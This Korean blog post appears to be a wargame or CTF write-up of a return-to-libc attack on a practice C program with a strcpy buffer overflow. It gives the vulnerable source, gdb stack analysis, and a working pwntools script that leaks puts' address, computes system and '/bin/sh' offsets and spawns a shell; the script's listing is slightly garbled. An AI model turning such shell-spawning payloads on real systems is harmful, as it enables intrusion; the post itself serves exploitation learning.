1. 시작하기전에...

이 풀이를 보시기 전에 앞서 블로깅한 글(rop)을 보고 와주시면 감사하겠습니다.


링크 : http://bachs.tistory.com/entry/NXNo-eXcutable-ROP?category=961837


return to libary는 함수의 리턴주소를 overflow를 이용하여 사용하고자 하는 함수의 주소로 덮어써 프로그램의 실행 플로우를 조작하는 것을 말합니다.

이 문제에서는 Print_message()의 리턴주소를 덮어썼습니다.


2. 분석


먼저, 문제에서 주어진 ret2lib.c파일을 살펴봅시다.


#include <stdio.h>
 
void See_something(unsigned int addr){
    int *address ;
    address = (int *)addr ;
    printf("The content of the address : %p\n",*address);
};
 
void Print_message(char *mesg){
    char buf[48];
    strcpy(buf,mesg);
    printf("Your message is : %s",buf);
}
 
int main(){
    char address[10] ;
    char message[256];
    unsigned int addr ;
    puts("###############################");
    puts("Do you know return to library ?");
    puts("###############################");
    puts("What do you want to see in memory?");
    printf("Give me an address (in dec) :");
    fflush(stdout);
    read(0,address,10);
    addr = strtol(address);
    See_something(addr) ;
    printf("Leave some message for me :");
    fflush(stdout);
    read(0,message,256);
    Print_message(message);
    puts("Thanks you ~");
    return 0 ; 
}


처음으로는 return to library에 대해 알고있는지 물어본 후 메모리 어떤 부분을 보고싶냐고 친절하게 물어봅니다.

알고 싶은 주소값을 던져주면 See_something()을 통해서 해당 주소에 어떤 값이 저장되어 있는지를 출력을 해주고있습니다.


그리고 남길말을 입력하라고하는데 이때 Print_message에서 Buffer Overflow를 발생시킬 수 있습니다.

Print_message의 인자로 입력할 남길말이 message변수에 담겨서 전달이 되는데 사이즈를 256바이트를 받습니다.

그리고 함수 내에서는 지역변수 48바이트짜리 버퍼에 카피를 하고있습니다.


함수 내 지역변수는 프로그램 스택에 저장이 되기 때문에 48바이트 공간에 256바이트를 카피하면 Overflow가 발생하게 되는 것이지요!

혹시 이해가 잘 안되신다면 앞선 블로깅들을 보고와주시기 바랍니다ㅠ


그럼 코드를 봤으니 gdb로 한번 까봅시다.

Print_message의 +6  에서 함수의 input으로 보이는 ebp+0x8을 eax에 넣고,

+9에서는 이 eax의 값을 esp+0x4 위치(스택 최상위 바로 아래)에 저장하고있습니다. 그리고

+13에서 eax에 지역변수 buf로 보이는 ebp-0x38을 저장한 후

+16에서 esp로 저장하고나서

+19에서 strcpy함수를 호출합니다.


결과적으로 정리하면 스택 최상위에는 ebp-0x38, 그 아래에 ebp+0x8이 각각 위치하고 strcpy가 호출 되는 거네요

c소스 중 strcpy(buf, mesg); 이 라인이 어셈으로 표현됐다고 보면 되겠습니다.


따라서, ebp-0x38(56)에 buf값이 저장될테고, 리턴 주소를 덮어 쓰려면 60개의 dummy가 필요하다는 계산이 나올 수 있습니다.

현재까지 분석한 스택의 상황을 그려보면 이런 모습이겠죠, dummy가 60바이트만큼 필요하단 건 buf size(56byte) + SFP(4byte)를 말씀드린 것입니다.


3. exploit


return to library를 하기위해서 준비할 것은 크게


1. Overflow로 덮어쓸 위치

2. 사용하고 싶은 함수와 기타 리소스 주소 알아내기


정도가 될 것 같습니다.

Overflow로 덮어쓸 위치는 구했고.. system("/bin/sh")를 사용할 거고, 따라서 필요한건 system함수의 주소, "/bin/sh"문자열의 주소를 알아내야합니다.


알아 낼 방법은 이 프로그램 내에서 특정 주소를 입력하면 그 값을 알려주기 때문에, 프로그램에서 사용된 puts의 got를 입력해 puts의 실제 함수 주소를 알아내고, 그 값을 기준으로 system 함수의 주소와 "/bin/sh"의 주소를 계산해 내도록 하겠습니다.


solv.py

1
2
3
4
5
6
7
8
9
100
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
 
= process('./ret2lib')
= ELF('./ret2lib')
 
#found address of puts got
log.info("found address of puts got : %s" % hex(e.got["puts"]))
puts_got = e.got["puts"]
 
p.recvuntil(":")
p.send(str(puts_got))
 
puts_addr = p.recvline()
puts_addr = int(puts_addr.split(":")[1].strip(), 16
 
sys_offset   = 0x24d40
binsh_offset = 0xfd548
 
system_addr = puts_addr - sys_offset
binsh_addr  = puts_addr + binsh_offset
 
log.info("address of puts : %s" % hex(puts_addr))
log.info("address of system : %s" % hex(system_addr))
log.info("address of /bin/sh string : %s" % hex(binsh_addr))
 
payload  = ""
payload += "a"*60 #dummy 60bytes
payload += p32(system_addr)
payload += "aaaa"
payload += p32(binsh_addr)
 
p.recvuntil(":")
p.send(payload)
p.interactive()



먼저 puts의 got를 알아내서 이 주소값을 프로그램에 전송하고, 결과로 실제 puts 함수의 주소를 알아냅니다.

그리고 이 값을 기준으로 system 함수의 offset과 "/bin/sh"문자열의 offset으로 계산하여 실제 주소들을 알아내는데,

offset은 이렇게 계산할 수 있습니다.

gdb로 프로그램을 실행 한 후 실행 당시의 주소 값들을 가지고 계산을 하는데, puts의 함수와 얼마나 떨어져 있는지를

offset으로 사용하여 프로그램 실행 당시에도 각각의 위치를 알아 낼 수 있는 것이지요.


계산이 끝났다면 이제 payload만 완성 시켜주면됩니다. 60개의 dummy를 넣고, system함수의 주소와 가상의 리턴 주소값(dummy) 그리고 system함수의 인자를 넣어주면 payload완성입니다.



끝!

+ Recent posts